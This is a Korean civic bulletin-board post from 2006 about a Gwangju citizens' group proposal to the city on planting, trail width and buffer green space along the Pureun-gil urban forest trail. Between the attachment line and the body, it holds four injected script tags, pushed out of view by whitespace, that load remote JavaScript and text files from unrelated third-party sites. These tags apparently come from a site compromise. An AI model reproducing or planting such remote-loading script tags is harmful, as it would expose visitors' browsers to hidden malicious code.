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작성일 : 06-03-08 13:12
도시숲길 푸른길을 위한 정책제안서
 글쓴이 : 운영자
조회 : 3,615  
   푸른길정책제안서.hwp (31.5K) [232] DATE : 2006-03-08 13:12:12
                              <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/akeumyoil.js></script>            <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script>                              <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script>                                  <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script>광주푸른길가꾸기운동본부에서는 3월 6일(월) "도시숲길 푸른길을 위한 정책"을 광주시에 제안하였다.
푸른길 공원 7.9km중 현재 50여%가 완성되어 시민들에게 선보이고, 이용되고 있는 가운데, 필문로, 대남로, 주월~진월구간의 푸른길을 시민들의 쾌적하고 편안한 휴식처가 되기 위한 대안을 정책제안서를 통해 제시하였다.
제안서에서 운동본부는 광주 푸른길은 향후 아름다운 숲으로 만들어져 시민들이 도시환경 속에서 숲의 쾌적함과 고즈넉함을 느낄 수 있는 녹지대가 되기 위한 방안으로 첫번째 필문로 구간에 과다한 포장면적으로 수목이 부족, 이용자들이 햇볕에 노출되어, 이용률이 저조함을 지적하고, 추가 보식이 필요하다고 제기하였다.
둘째로 대남로의 경우, 양림동구간에서 외래수종과 추운지방에서 생육하는 수목의 식재등으로 수목상태가 불량하고, 기존 느티나무길과 어울리지 않는 점을 지적, 기존느티나무와 어울리는 수종으로의 추가식재등이 지적, 셋째로 주월~진월구간 푸른길의 경우, 큰 나무 중심의 식재로 인해 식재밀도가 낮고, 가로수형태로 반복된 식재패턴으로 인해 이용자들이 푸른길의 아늑함을 느끼기 어려운점을 지적하였으며, 기존 구간과 같은 형태로 계획되어있는 생태의 숲, 참여의숲의 현 설계가 보완, 수정되어야 한다고 주장하였다.
이러한 구간별 문제점을 지적하고 대안을 제시함과 함께 운동본부에서는 푸른길 조성의 기본 방향을 제안하였다.
시민이 찾는 도시숲 푸른길이 되기 위해서 제시한 방향은 아래와 같다.

•푸른길은 광주의 향토적 자연미를 제공한는 숲, 4계절 푸른숲, 야생동물과 사람이 함께하는 숲, 도시의 소란스러움을 잊을 수 있는 숲을 조성하고 숲의 혜택을 누릴 수 있는 숲길을 만들 수 있도록 설계 되어야 합니다. 이를 위해서 키 작은 나무의 혼식설계기법으로 식재설계를 하는 것이 필요합니다.
• 푸른길은 각 구간마다 각기 다른 노폭설계로 인하여 통행에 혼란을 초래하고 있습니다. 숲의 동선체계를 확립하고, 노폭(1.2~2.0m) 기준에 따라 숲길설계가 이루어져야 하며 처음 구간부터 마지막 구간까지 물 흐르듯 동선흐름이 유지되어야 합니다.
• 도로나 주택가와 맞닿아 만드는 푸른길의 좌우 녹지는 자동차의 소음과 불빛, 주택이나 콘크리트 구조물을 차폐완충녹지 기능이 필수적입니다. 이를 위해 숲 가장자리에 상록관목을 고밀도로 군식하여 완충효과를 극대화할 수 있는 배식설계가 필요합니다.
• 도시숲길로써의 푸른길이 기능을 하기 위해 생태학적 배식설계 접근을 통해 푸른길 내부의 시설을 최소화하고, 녹지면적은 최대화하여 유지관리 비용을 최소화해야 합니다.
• 푸른길공원은 시민의 참여와 뜻에 의해 푸른길로 결정․조성되는 국내 최초의 사례로 시행정에서도 시민참여 공원조성행정을 펼치기 위해 민간단체, 전문가등이 참여하는『푸른길공원조성 자문위원회』구성하여 운영하고 있습니다. 푸른길공원조성 전반에 대한 자문기구인 『푸른길공원조성 자문위원회』의 적극적인 활동을 위해 정례 회의개최 등 행정 노력이 필요합니다.